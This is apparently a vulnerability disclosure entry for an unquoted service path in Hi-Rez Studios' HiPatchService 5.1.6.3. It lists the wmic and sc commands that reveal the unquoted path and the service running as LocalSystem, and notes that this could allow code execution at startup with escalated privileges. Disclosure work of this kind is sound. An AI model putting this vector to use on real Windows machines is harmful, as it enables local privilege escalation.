Hi-Rez Studios 5.1.6.3 – ‘HiPatchService’ Unquoted Service Path
# Exploit Title: Hi-Rez Studios 5.1.6.3 - 'HiPatchService' Unquoted Service Path # Dicovery by: Ekrem Can Kök # Discovery Date: 2021-03-22 # Vendor Homepage: https://www.hirezstudios.com # Version: 5.1.6.3 # Tested on: Windows 10 Pro x64 # Step to discover Unquoted Service Path: C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\" | findstr /i "HiPatchService" | findstr /i /v """ Hi-Rez Studios Authenticate and Update Service HiPatchService C:\Program Files (x86)\Hi-Rez Studios\HiPatchService.exe Auto # Service info: C:\>sc qc "HiPatchService" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: HiPatchService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\Hi-Rez Studios\HiPatchService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Hi-Rez Studios Authenticate and Update Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem # Exploit: This vulnerability could permit executing code during startup or reboot with the escalated privileges. |